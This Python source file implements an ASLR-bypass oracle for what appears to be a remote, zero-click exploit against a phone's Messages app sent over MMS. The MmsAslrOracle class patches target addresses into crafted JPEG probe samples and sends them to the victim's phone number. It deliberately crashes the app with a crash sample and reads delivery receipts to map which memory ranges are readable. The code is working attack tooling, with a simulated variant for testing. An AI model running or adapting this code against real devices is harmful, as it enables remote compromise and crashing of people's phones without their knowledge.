aslr_oracle.py

from intervaltree import Interval, IntervalTree
import json
import logging
import mms
import os
import struct
import sys
import time

def PageAligned(x):
  return ((x & 0xfff) == 0)

class AslrOracle:
  def __init__(self):
    self.queries = 0

    self.InitCache()

  def CheckAddress(self, address):
    return self.CheckRange(address, 0x1000)

  def InitCache(self):
    self.cached_queries = 0
    self.good_regions = IntervalTree()
    self.bad_regions = IntervalTree()

  def InsertToCache(self, start, end, valid):
    if valid:
      self.good_regions.add(Interval(start, end + 1))
      self.good_regions.merge_overlaps()
    else:
      self.bad_regions.add(Interval(start, end))

  def CheckCache(self, start, end):
    good_overlaps = self.good_regions.overlap(start, end)
    for overlap in good_overlaps:
      if (overlap[0] <= start) and (overlap[1] >= end):
        self.cached_queries += 1
        return True

    bad_overlaps = self.bad_regions.envelop(start, end)
    if len(bad_overlaps) > 0:
      self.cached_queries += 1
      return False

    return None

class TestAslrOracle(AslrOracle):
  def __init__(self, maps_file):
    AslrOracle.__init__(self)

    self.AslrBaseAddr = 0x6f00000000
    self.AslrEndAddr  = 0x8000000000

    self.valid_pages = set()

    with open(maps_file, "r") as f:
      lines = f.readlines()

    for line in lines:
      line = line.split()

      addrs = line[0].split('-')
      start_addr = int(addrs[0], 16)
      end_addr = int(addrs[1], 16)
      
      perms = line[1][:3]

      if start_addr < self.AslrBaseAddr or end_addr >= self.AslrEndAddr:
        continue

      if perms[0] == 'r':
        for addr in range(start_addr, end_addr, 0x1000):
          self.valid_pages.add(addr)

    logging.info("Found %d readable pages" % len(self.valid_pages))

  def CheckRange(self, address, length):
    assert(PageAligned(address))
    length = (length + 0xfff) & (~0xfff)

    self.queries += 1

    cached = self.CheckCache(address, address + length)
    if cached != None:
      return cached

    result = True

    for tested_addr in range(address, address + length, 0x1000):
      if tested_addr not in self.valid_pages:
      	result = False
      	break

    self.InsertToCache(address, address + length, result)

    return result

class MmsAslrOracle(AslrOracle):
  def __init__(self, config_file):
    AslrOracle.__init__(self)

    # Load configuration from disk.
    self.LoadConfig(config_file)

    # Initialize the MMS client object.
    self.mms = mms.MmsClient(self.hostname, self.username, self.password,
                             self.mms_in_dir)

    # Send an empty test MMS to check that everything works correctly on the
    # MMSC side, and that the target phone is online.

    logging.info("Sending test MMS to check if the device is online...")

    received = self.mms.Send(self.phone_number,
                             [("test.txt", "", "text/plain")],
                             receipt_wait_time = self.receipt_wait_time)

    if received:
      logging.info("Received ack, phone is up and the setup works.")
    else:
      logging.error("Message was not sent or received by the target, please "
                    "make sure that your MMSC server is working correctly and "
                    "the target phone is logged in the network.")
      sys.exit(1)

    logging.info("Crashing the Messages app remotely now to get a clean state "
                 "for further exploitation.")

    self.CrashMessages()

  def LoadConfig(self, config_file):
    with open(config_file, "r") as f:
      config = json.loads(f.read())

    self.phone_number = config["phone_number"]

    self.hostname = config["hostname"]
    self.username = config["username"]
    self.password = config["password"]

    self.mms_in_dir = config["mms_in_dir"]
    assert(os.path.exists(self.mms_in_dir))

    with open(config["crashing_sample"], "rb") as f:
      self.crashing_sample = f.read()

    with open(config["probe_sample"], "rb") as f:
      self.probe_sample = f.read()

    self.probe_address_offset = int(config["probe_address_offset"], 16)
    self.probe_size_offset = int(config["probe_size_offset"], 16)

    self.cooldown_time = float(config["cooldown_time"])
    self.receipt_wait_time = float(config["receipt_wait_time"])

  def CooldownAfterCrash(self):
    cur_time = time.time()
    if cur_time - self.last_crash_time < self.cooldown_time:
      delay = self.cooldown_time - (cur_time - self.last_crash_time)

      logging.debug("Cooldown, sleeping for %d seconds..." % delay)
      time.sleep(delay)
      logging.debug("Woke up, back to the action!")

  def CrashMessages(self):
    self.mms.Send(self.phone_number,
                  [("crash.jpg", self.crashing_sample, "image/jpeg")])

    self.last_crash_time = time.time()

  def SendProbeMMS(self, files, subject=None, text=None):
    return self.mms.Send(self.phone_number, files, subject, text,
                         receipt_wait_time = self.receipt_wait_time)

  def CheckRange(self, address, length):
    assert(PageAligned(address))
    length = (length + 0xfff) & (~0xfff)

    region_end = address + length - 1

    self.queries += 1

    ############################################################################
    # Check the cache first
    ############################################################################

    cached = self.CheckCache(address, address + length)
    if cached != None:
      return cached

    ############################################################################
    # Construct the probe test case
    ############################################################################

    probe_sample = self.probe_sample

    # Insert the tested address into the probe sample
    probe_sample = (
      probe_sample[:self.probe_address_offset] +
      struct.pack("<Q", address) +
      probe_sample[self.probe_address_offset + 8:]
    )

    # Insert the tested length into the probe sample
    probe_sample = (
      probe_sample[:self.probe_size_offset] +
      struct.pack("<I", length // 0x1000) +
      probe_sample[self.probe_size_offset + 4:]
    )

    ############################################################################
    # Send probes until we get enough confidence that the result is a valid one
    ############################################################################

    oracle_score = [0, 0]

    probe_no = 0
    while ((oracle_score[False] - oracle_score[True] < 1) and
           (oracle_score[True] - oracle_score[False] < 1)):

      logging.debug("Range [%x .. %x], iteration %d, current oracle score: %s" %
                    (address, region_end, probe_no, oracle_score))

      self.CooldownAfterCrash()

      logging.debug("Sending probe %d..." % (probe_no + 1))

      probe_outcome = self.SendProbeMMS(
        [("probe.jpg", probe_sample, "image/jpeg")],
        subject="Testing address %x" % address
      )

      oracle_score[probe_outcome] += 1

      if probe_outcome:
        logging.debug("Probe %d returned TRUE, crashing Messages" %
                      (probe_no + 1))

        self.CrashMessages()
      else:
        logging.debug("Probe %d returned FALSE" % (probe_no + 1))
        self.last_crash_time = time.time() - self.receipt_wait_time

      probe_no += 1

    winner = (oracle_score[True] > oracle_score[False])

    logging.debug("Range [%x .. %x], iterations %d, final score %s" %
                  (address, region_end, probe_no, oracle_score))

    logging.info("Range [%x .. %x] is readable: %s" %
                 (address, region_end, winner))

    self.InsertToCache(address, address + length, winner)
    return winner